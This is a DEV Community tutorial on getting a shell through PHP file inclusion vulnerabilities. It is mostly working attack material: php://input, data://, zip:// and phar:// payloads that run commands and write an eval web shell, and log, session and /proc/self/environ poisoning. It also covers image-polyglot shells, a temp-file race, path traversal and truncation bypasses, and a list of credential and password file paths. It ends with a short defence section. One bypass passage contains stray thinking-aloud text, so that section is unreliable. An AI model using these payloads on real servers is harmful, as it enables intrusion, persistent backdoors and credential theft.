DEV Community

Cover image for Different ways to get a shell using PHP file inclusion vulnerabilities
Excalibra
Excalibra

Posted on

Different ways to get a shell using PHP file inclusion vulnerabilities

Related Functions

The following four functions in PHP are typically responsible for file inclusion vulnerabilities:

  1. include()
  2. include_once()
  3. require()
  4. require_once()

If an error occurs during inclusion with require() (e.g., the file does not exist), execution will halt immediately, and subsequent statements will not be executed.

If an error occurs with include(), only a warning is issued, and execution continues with subsequent statements.

require_once() and include_once() behave similarly to require() and include(), respectively. If a file has already been included, require_once() and include_once() will not include it again, thereby avoiding issues such as function redefinition or variable reassignment.

When these four functions are used to include files, regardless of the file type (e.g., image, text file), the file is parsed directly as PHP. Test code:

<?php
    $file = $_GET['file'];
    include $file;
?>
Enter fullscreen mode Exit fullscreen mode

In the same directory, there is a file named phpinfo.txt with the following content: <?php phpinfo(); ?>. Simply visit:

fileinclude.php?file=phpinfo.txt
Enter fullscreen mode Exit fullscreen mode

This will successfully execute phpinfo().

Scenario

  1. The application uses one of the relevant file inclusion functions.
  2. The file inclusion function uses a dynamic variable, e.g., include $file;.
  3. An attacker can control that variable, e.g., $file = $_GET['file'];.

Classification

LFI (Local File Inclusion)

Local File Inclusion (LFI) refers to vulnerabilities that allow an attacker to include and execute local files. In most cases, encountered file inclusion vulnerabilities are LFI.

This type of vulnerability is not affected by the allow_url_fopen or allow_url_include settings. For example, setting both to Off in php.ini and restarting the server:

Visiting ?page=../../../phpinfo.php still successfully parses phpinfo().

RFI (Remote File Inclusion)

Remote File Inclusion (RFI) allows an attacker to include and execute files from a remote server. Since the remote file is under the attacker's control, this vulnerability can be extremely harmful. However, RFI has stricter prerequisites, requiring the following php.ini configurations:

  1. allow_url_fopen = On
  2. allow_url_include = On

Both must be On for remote file inclusion to succeed. For example, setting both to Off and restarting the server:

Visiting ?page=http://192.168.1.4 will produce errors:


Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_fopen=0 in D:\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php on line 36

Warning: include(http://192.168.1.4): failed to open stream: no suitable wrapper could be found in D:\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php on line 36

Warning: include(): Failed opening 'http://192.168.1.4' for inclusion (include_path='.;C:\php\pear;../../external/phpids/0.6/lib/') in D:\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php on line 36

Enter fullscreen mode Exit fullscreen mode

After setting both configuration options back to On and restarting the server, remote file inclusion works.

Absolute Paths of Sensitive Files

This article provides more detail: Summary of Sensitive Directory Paths in Windows and Linux

Below is a list of absolute paths for commonly used sensitive files:

# Windows:
c:/boot.ini                                 # View system version
c:/windows/php.ini                          # PHP configuration
c:/windows/my.ini                           # MySQL configuration (may contain credentials)
c:/winnt/php.ini
c:/winnt/my.ini
C:\Windows\win.ini                          # System configuration file
c:\mysql\data\mysql\user.MYD                # MySQL user passwords
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini   # Virtual host paths and passwords
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml    # IIS virtual host configuration
c:\windows\repair\sam                       # Windows initial installation password
c:\Program Files\Serv-U\ServUAdmin.exe      # Serv-U admin password (pre-6.0)
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif  # pcAnywhere login passwords
c:\Program Files\Apache Group\Apache\conf\httpd.conf or C:\apache\conf\httpd.conf  # Apache configuration
c:/Resin-3.0.14/conf/resin.conf             # Resin configuration (JSP)
c:/Resin/conf/resin.conf
/usr/local/resin/conf/resin.conf
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD                # MySQL user passwords

# Linux/Unix:
/usr/local/app/apache2/conf/httpd.conf      # Apache2 default configuration
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf  # Virtual host settings
/usr/local/app/php5/lib/php.ini             # PHP settings
/etc/sysconfig/iptables                     # Firewall rules
/etc/httpd/conf/httpd.conf                  # Apache configuration
/etc/rsyncd.conf                            # rsync configuration
/etc/my.cnf                                 # MySQL configuration
/etc/redhat-release                         # System version
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
/etc/httpd/conf/httpd.conf or /usr/local/apche/conf/httpd.conf
/usr/local/resin-3.0.22/conf/resin.conf
/usr/local/resin-pro-3.0.22/conf/resin.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
/etc/sysconfig/iptables
Enter fullscreen mode Exit fullscreen mode

Inclusion Techniques

The following examples use this test code:

<?php
    $file = $_GET['file'];
    include $file;
?>
Enter fullscreen mode Exit fullscreen mode

Default settings: allow_url_fopen = On, allow_url_include = Off. Special requirements are noted where applicable.

PHP Pseudo-Protocols

PHP provides numerous built-in URL-style wrappers that can be used with filesystem functions such as fopen(), copy(), file_exists(), and filesize(). In addition, custom wrappers can be registered via stream_wrapper_register(). PHP pseudo-protocols are supported protocols and wrappers (12 types):

file:// — Access local filesystem
http:// — Access HTTP(s) URLs
ftp:// — Access FTP(s) URLs
php:// — Access various I/O streams
zlib:// — Compression streams
data:// — Data (RFC 2397)
glob:// — Find matching file path patterns
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — Process interactive streams
Enter fullscreen mode Exit fullscreen mode

file://

The file:// pseudo-protocol accesses local filesystem.

Requirements:

  • No requirement for allow_url_include.
  • No requirement for allow_url_fopen.

Technique:

fileinclude.php?file=file://C:/Windows/win.ini
Enter fullscreen mode Exit fullscreen mode

php://input

Allows access to the raw request body as a read-only stream. It can read unparsed POST data. Ineffective when enctype="multipart/form-data".

Requirements:

  • allow_url_include = On.
  • No requirement for allow_url_fopen.

Technique:

fileinclude.php?file=php://input
# POST body:
<?php phpinfo(); ?>
Enter fullscreen mode Exit fullscreen mode

Note: Bypassing file_get_contents() with php://input

When encountering file_get_contents(), consider using php://input to bypass restrictions, as PHP pseudo-protocols can also handle HTTP, allowing POST data transfer.

file_get_contents() returns the entire file content as a string. If a string is passed directly as a parameter, it may cause an error, but if the string contains an HTTP URL, it behaves like curl and reads the source code. PHP pseudo-protocols recognise the HTTP protocol, so php://input can read POST data to assign values to parameters.

Test code:

<?php
    echo file_get_contents("php://input");
?>
Enter fullscreen mode Exit fullscreen mode

Result:

php://input (Command Execution)

Requirements:

  • allow_url_include = On.
  • No requirement for allow_url_fopen.

Technique:

fileinclude.php?file=php://input
# POST body:
<?php system('whoami'); ?>
Enter fullscreen mode Exit fullscreen mode

php://input (Writing a Trojan)

Requirements:

  • allow_url_include = On.
  • No requirement for allow_url_fopen.

Technique:

fileinclude.php?file=php://input
# POST body:
<?php fputs(fopen('hack.php','w'),'<?php @eval($_POST[v])?>');?>
Enter fullscreen mode Exit fullscreen mode

After execution, the web shell is created in the same directory:

Using a shell management tool (e.g., AntSword), the connection succeeds.

php://filter

A meta-wrapper designed for filtering applications when streams are opened. It reads and writes local disk files.

Requirements:

  • No requirement for allow_url_include.
  • No requirement for allow_url_fopen.

Technique:

fileinclude.php?file=php://filter/read=convert.base64-encode/resource=index.php
# Alternative:
fileinclude.php?file=php://filter/convert.base64-encode/resource=index.php
# (The second is shorter and may bypass some WAFs)
Enter fullscreen mode Exit fullscreen mode

By specifying a file at the end, the source code (base64-encoded) can be read and then decoded. Although direct shell access may not be obtained, reading sensitive files is still harmful.

The string PD9waHAKZWNobyAiSGVsbG8gV29ybGQiOwo/Pg== decodes to:

<?php
echo "Hello World";
?>
Enter fullscreen mode Exit fullscreen mode

phar://

This pseudo-protocol extracts archive files. Regardless of the file extension, it is treated as a compressed archive.

Requirements:

  • PHP version >= 5.3.0
  • No requirement for allow_url_include.
  • No requirement for allow_url_fopen.

Technique:

Create a file phpinfo.php with content <?php phpinfo(); ?> and pack it into a ZIP archive:

Specify the absolute path:

fileinclude.php?file=phar://D:/phpStudy/PHPTutorial/WWW/test.zip/phpinfo.php
Enter fullscreen mode Exit fullscreen mode

Or use a relative path (if test.zip is in the same directory as fileinclude.php):

fileinclude.php?file=phar://test.zip/phpinfo.php
Enter fullscreen mode Exit fullscreen mode

Note: test.zip must be a ZIP archive; other formats (RAR, 7z) do not work. However, the file extension can be changed to e.g., test.jpg or test.111. This bypasses upload restrictions.


phar:// (Command Execution)

Same as phar://, but with file content changed to <?php system('whoami');?>.

phar:// (Writing a Trojan)

Requirements:

  • PHP version >= 5.3.0
  • No requirement for allow_url_include.
  • No requirement for allow_url_fopen.

Technique:

Create a web shell shell.php with content <?php @eval($_POST[v]);?> and pack into a ZIP archive:

Absolute path:

http://192.168.1.4/fileinclude.php?file=phar://D:/phpStudy/PHPTutorial/WWW/test.zip/shell.php
Enter fullscreen mode Exit fullscreen mode

Relative path (if test.zip in current directory):

http://192.168.1.4/fileinclude.php?file=phar://test.zip/shell.php
Enter fullscreen mode Exit fullscreen mode

After visiting the URL, the web shell is written. Then use a shell management tool (e.g., AntSword) to connect.

Note: The same extension bypass applies: the archive can be renamed.

zip://

The zip:// pseudo-protocol is similar to phar:// but used differently.

Requirements:

  • PHP version >= 5.3.0
  • No requirement for allow_url_include.
  • No requirement for allow_url_fopen.

Technique:

Construct a ZIP package similarly:

With zip://, an absolute path is required. The separator between the archive and the inner file is #, which must be URL-encoded as %23.

fileinclude.php?file=zip://D:/phpStudy/PHPTutorial/WWW/test.zip%23phpinfo.php
Enter fullscreen mode Exit fullscreen mode

Relative paths cause inclusion failure.

Note: The same extension bypass applies.

zip:// (Command Execution)

Same as zip://, with file content changed to <?php system('whoami');?>.

zip:// (Writing a Trojan)

Requirements:

  • PHP version >= 5.3.0
  • No requirement for allow_url_include.
  • No requirement for allow_url_fopen.

Technique:

Create a web shell shell.php with content <?php @eval($_POST[v]);?> and pack into a ZIP archive:

Absolute path:

http://192.168.1.4/fileinclude.php?file=zip://D:/phpStudy/PHPTutorial/WWW/test.zip%23shell.php
Enter fullscreen mode Exit fullscreen mode

After visiting the URL, the web shell is written. Relative paths cause failure.

data://

A data stream wrapper that redirects the inclusion stream to user-controlled input. In simple terms, it includes the user's input stream.

Requirements:

  • PHP version >= 5.2
  • allow_url_fopen = On
  • allow_url_include = On

Technique 1:

fileinclude.php?file=data:text/plain,<?php phpinfo();?>
Enter fullscreen mode Exit fullscreen mode

Technique 2 (Base64):

fileinclude.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
Enter fullscreen mode Exit fullscreen mode

PD9waHAgcGhwaW5mbygpOz8+ decodes to <?php phpinfo();?>. The + must be URL-encoded as %2b; otherwise an error occurs.

data:// (Command Execution)

Technique 1:

fileinclude.php?file=data:text/plain,<?php system('whoami');?>
Enter fullscreen mode Exit fullscreen mode

Technique 2 (Base64):

fileinclude.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
Enter fullscreen mode Exit fullscreen mode

Decodes to <?php system('whoami');?>.

data:// (Writing a Trojan)

Technique 1:

fileinclude.php?file=data:text/plain,<?php fputs(fopen('hack.php','w'),'<?php @eval($_POST[v])?>');?>
Enter fullscreen mode Exit fullscreen mode

Technique 2 (Base64):

fileinclude.php?file=data:text/plain;base64,PD9waHAgZnB1dHMoZm9wZW4oJ2hhY2sucGhwJywndycpLCc8P3BocCBAZXZhbCgkX1BPU1Rbdl0pPz4nKTs/Pg==
Enter fullscreen mode Exit fullscreen mode

Decodes to <?php fputs(fopen('hack.php','w'),'<?php @eval($_POST[v])?>');?>.

Including Session Files

Requirements: The session file path is known, and the content is partially controllable.

Technique:

The PHP session file save path can be found in phpinfo under session.save_path.

Common PHP session storage locations:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

Session file naming: sess_[phpsessid]. PHPSESSID can be found in the cookie field of the request.

To include and exploit, the attacker must control some session file content. No general solution exists. Sometimes, include the session file first, observe its contents, then find controllable variables to inject payloads and execute PHP code.

Example 1:

# Line 3
session_start();
if($_SESSION['username']) {
    header('Location: index.php');
    exit;
}

# Line 8
if($_POST['username'] && $_POST['password']) {
    $username = $_POST['username'];

    # Line 20
    $stmt->bind_result($res_password);

    # Line 24
    if ($res_password == $password) {
        $_SESSION['username'] = base64_encode($username);
        header("location:index.php");
    }
}
Enter fullscreen mode Exit fullscreen mode

The variable $username is controllable and written to $_SESSION. If the data is unfiltered, it ends up in the session file. Combined with file inclusion, the session file may be included.

To include the session file, the path must be known. Register a user (e.g., Johnson). After successful login, note the PHPSESSID cookie value (e.g., 0d0385dc6a1067f4e3406191). Even a failed login creates a session file.

Visit:

http://x.x.x.x/index.php?action=/var/lib/php5/sess_0d0385dc6a1067f4e3406191
Enter fullscreen mode Exit fullscreen mode

However, the username is base64-encoded. Using a pseudo-protocol to decode the entire session file may cause garbled characters due to the serialised prefix. Consider base64 encoding. The session prefix username|s:12:" (the number 12 is the length of the base64 string). For lengths <100, the prefix is 15 characters; for 100–999, it is 16 characters.

16 characters satisfy: 16 * 6 = 96 bits, 96 mod 8 = 0. Thus, when base64-decoding the session file, the first 16 characters become garbled but do not affect the remaining part (the base64-encoded username). Register a username like JohnsonJohnson... (long enough that its base64 length exceeds 100) plus <?php eval($_GET['abcdefg']) ?>. Then visit:

http://x.x.x.x/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_0d0385dc6a1067f4e3406191&abcdefg=phpinfo();
Enter fullscreen mode Exit fullscreen mode

Successful execution leads to a web shell.

Example 2:
session.php with controllable user session:

session_start();
$username = $_POST['username'];
$_SESSION['username'] = $username;
Enter fullscreen mode Exit fullscreen mode

Register a user with <?php phpinfo();?> and log in with that username. Record PHPSESSID (e.g., r7csmqpu1lul3elgsb6o9g6u1b). The session file contains the malicious code.

Include it:

fileinclude.php?file=D:\phpStudy\PHPTutorial\tmp\tmp\sess_r7csmqpu1lul3elgsb6o9g6u1b
Enter fullscreen mode Exit fullscreen mode

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code.

Including Log Files

Access Logs

Requirements: Know the server log storage path, and log files must be readable.

Technique:

Web servers (e.g., Apache) write requests to access.log and errors to error.log. Default paths:

1. Apache+Linux: /etc/httpd/logs/access.log or /var/log/httpd/access.log
2. Apache+Win2003: D:\xampp\apache\logs\access.log, D:\xampp\apache\logs\error.log
3. IIS6.0+Win2003: C:\WINDOWS\system32\Logfiles
4. IIS7.0+Win2003: %SystemDrive%\inetpub\logs\LogFiles
5. nginx: /usr/local/nginx/logs/ (or installation directory)
Enter fullscreen mode Exit fullscreen mode

Direct requests may cause encoding issues. Use Burp to modify the request, e.g., change <?php phpinfo();?> to %3C?php%20phpinfo();%20?%3E.

After writing PHP code to /var/log/apache2/access.log, include it.

Default configuration file paths:

1. Apache+Linux: /etc/httpd/conf/httpd.conf or /etc/init.d/httpd
2. IIS6.0+Win2003: C:/Windows/system32/inetsrv/metabase.xml
3. IIS7.0+WIN: C:\Windows\System32\inetsrv\config\applicationHost.config
Enter fullscreen mode Exit fullscreen mode

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code, encode as needed, and include.

SSH Log

Requirements: Know the SSH log location and have read access. Default: /var/log/auth.log or /var/log/secure.

Technique:

Connect via SSH:

ssh '<?php phpinfo(); ?>'@remotehost
Enter fullscreen mode Exit fullscreen mode

Enter any password. The PHP code is written to the SSH log.

Then include the log file.

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code.

Including environ

Requirements:

  1. PHP runs as CGI (so that environ retains the User-Agent header).
  2. environ file location is known and readable. Default: /proc/self/environ (Linux only; not available on Windows).

Technique:

/proc/self/environ saves the User-Agent header. Insert PHP code into the User-Agent, then include the file.

Example: intercept a request with Burp and modify the User-Agent:

Then include /proc/self/environ:

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code.

Including fd (File Descriptors)

File descriptors (fd) are non‑negative integers returned by the kernel when a file is opened. Default location: /proc/self/fd/ (Linux only). Similar to including environ.

Note on Command Execution and Trojan Writing: Same as including environ.

Including Uploaded Files

Many websites offer file upload (e.g., avatars, documents). Upload a web shell disguised as an image.

Requirements: Know the uploaded file's path and name.

Technique:

Create an image‑based web shell. Two methods:

  1. Using the command line: combine a legitimate image (1.jpg) with a PHP file (2.php) containing fputs(fopen('hack.php','w'),'<?php @eval($_POST[v])?>');?>:
   copy 1.jpg/b+2.php 3.jpg
Enter fullscreen mode Exit fullscreen mode
  1. Upload 3.jpg to the server (e.g., /upload/202107.jpg). Then include it:
   http://x.x.x.x/index.php?page=./upload/202107.jpg
Enter fullscreen mode Exit fullscreen mode

This creates hack.php in the same directory as index.php, which can be connected with a shell management tool.

Command execution is also possible.

Including Temporary Files

Principle diagram:

When PHP uploads a file, a temporary file is created (Linux: /tmp/php[6 random chars], Windows: c:\windows\temp). Compete to include the temporary file before it is deleted.

The temporary filename can be guessed (Linux randomness flaws; Windows only 65535 possibilities) or obtained from phpinfo page (PHP variables expose the uploaded file's temporary path and name).

Requirements: phpinfo page and file inclusion vulnerability.

Principle:

  1. When sending a POST with a file block, PHP saves a temporary file (e.g., /tmp/phpXXXXXX), deleted after request.
  2. phpinfo displays all variables, including $_FILES, revealing the temporary filename.

Technique (Linux only): Use the script from vulhub/exp.py. It includes the temporary file, which contains:

<?php fileputcontents('/tmp/p','<?=eval($_REQUEST[1])?>')?>
Enter fullscreen mode Exit fullscreen mode

Successful inclusion creates a permanent file /tmp/p.

Then include /tmp/p to execute arbitrary commands.

The script uses race conditions: send a large request to phpinfo, fill with garbage to inflate the output buffer (default 4096 bytes). Read the socket in 4096‑byte chunks; as soon as the temporary filename is found, send the inclusion request before the first socket closes (so the temp file still exists).

Other Inclusion Techniques

Web services may use other services (FTP, databases) that produce files. Specific analysis required (e.g., SMTP logs) – not covered here.

Bypass Techniques

In real scenarios, inclusion is rarely as simple as include $_GET['file'];. Often, prefixes and suffixes are added. Example:

<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file.'/test/test.php';
?>
Enter fullscreen mode Exit fullscreen mode

Bypassing a Fixed Prefix

Test code:

<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file;
?>
Enter fullscreen mode Exit fullscreen mode

(Note: On Windows, backslashes in the prefix may cause issues; use forward slashes for directory traversal.)

Solution: Directory Traversal

If /var/log/test.txt contains <?php phpinfo();?>, use ../:

include.php?file=../../log/test.txt
Enter fullscreen mode Exit fullscreen mode

The server concatenates to /var/www/html/../../log/test.txt/var/log/test.txt.

Solution: Encoding Bypass

Servers often filter ../. Encodings can bypass:

1. URL encoding

  • ../%2e%2e%2f, ..%2f, %2e%2e/
  • ..\%2e%2e%5c, ..%5c, %2e%2e\

2. Double encoding

  • ../%252e%252e%252f
  • ..\%252e%252e%255c

3. Container/server‑specific encoding

Bypassing a Fixed Suffix

Test code:

<?php
    $file = $_GET['file'];
    include $file.'/test/test.php';
?>
Enter fullscreen mode Exit fullscreen mode

Solution: URL Query and Fragment

URL format: protocol://hostname[:port]/path[;parameters][?query]#fragment

For RFI (allow_url_fopen=On, allow_url_include=On):

Technique 1: Query (?)

index.php?file=http://remoteaddr/remoteinfo.txt?
Enter fullscreen mode Exit fullscreen mode

Included file becomes http://remoteaddr/remoteinfo.txt?/test/test.php – the suffix is treated as a query.

Command execution / Trojan writing example:

http://x.x.x.x/fileinclude2.php?file=http://x.x.x.x/backdoor.php?
Enter fullscreen mode Exit fullscreen mode

where backdoor.php contains <?php system('whoami'); ?>.

Replace with a web‑shell writing payload to get a shell.

Technique 2: Fragment (# or %23)

index.php?file=http://remoteaddr/remoteinfo.txt%23
Enter fullscreen mode Exit fullscreen mode

Included file: http://remoteaddr/remoteinfo.txt#/test/test.php – the suffix becomes a fragment. URL-encode # as %23.

Command execution example:

http://x.x.x.x/fileinclude2.php?file=http://x.x.x.x/backdoor.php%23
Enter fullscreen mode Exit fullscreen mode

Difference between Windows and Linux:

  • Linux works as above.
  • On Windows, both ? and # (even unencoded) work; no special encoding needed.

Solution: Using Pseudo‑Protocols

Test code with suffix:

<?php
    $file = $_GET['file'];
    include $file.'/test/test.php';
?>
Enter fullscreen mode Exit fullscreen mode

Technique 1: zip://

Construct a ZIP archive (e.g., J0.zip) containing a file J0/test.php (since the suffix appends /test/test.php, we want the inner file to be named appropriately). Let the inner file be J0? Actually, the include is $file . '/test/test.php'. If we set $file to zip://path/to/archive.zip#inner, then the full path becomes zip://.../archive.zip#inner/test/test.php. So the inner file should be inner/test/test.php? Let's follow the example: they created J0.zip with a file J0 (no extension) containing <?php phpinfo(); ?>. Then they used fileinclude2.php?file=zip://D:\phpStudy\PHPTutorial\WWW\J0.zip%23J0. The concatenated string becomes zip://D:\phpStudy\PHPTutorial\WWW\J0.zip#J0/test/test.php. That works because the pseudo‑protocol treats everything after # as the inner file path.

Test content:

Technique 2: phar:// (requires PHP >= 5.3.4)

Using the same ZIP archive. Absolute path:

fileinclude2.php?file=phar://D:\phpStudy\PHPTutorial\WWW\J0.zip\J0
Enter fullscreen mode Exit fullscreen mode

Concatenated: phar://D:\phpStudy\PHPTutorial\WWW\J0.zip\J0/test/test.php

Relative path:

fileinclude2.php?file=phar://J0.zip\J0
Enter fullscreen mode Exit fullscreen mode

Note on Command Execution and Trojan Writing: As with zip:// and phar://.

Solution: Length Truncation

PHP version < 5.2.8. Directory strings have maximum length (4096 bytes on Linux, 256 bytes on Windows). Repeating ./ many times:

index.php?file=phpinfo.php././././... (repeated) ././
Enter fullscreen mode Exit fullscreen mode

When the maximum is reached, the suffix /test/test.php is discarded.

Example on Windows:

fileinclude2.php?file=phpinfo.php/./././... (many repetitions)
Enter fullscreen mode Exit fullscreen mode

Adding too many may exceed capacity:

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code.

Solution: Null Byte Truncation (%00)

Principle: chr(0) acts as a string terminator. Everything after %00 is ignored.

Requirements:

  • magic_quotes_gpc = Off (if On, %00 becomes \0 and is escaped)
  • PHP version < 5.3.4
index.php?file=phpinfo.php%00
Enter fullscreen mode Exit fullscreen mode

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code.

Defence Measures

  1. Configure PHP's open_basedir to restrict file access to specified directories. This will cause inclusion to fail for files outside the web directory.
  2. Manage file permissions carefully.
  3. Limit includable files via whitelisting or by setting a dedicated include directory.
  4. Filter dangerous characters: . (dot), / (forward slash), \ (backslash), and other special characters.
  5. Set allow_url_fopen = Off and allow_url_include = Off. Although many pseudo‑protocols still work, this reduces the attack surface.
  6. Avoid dynamic inclusion whenever possible.

Top comments (0)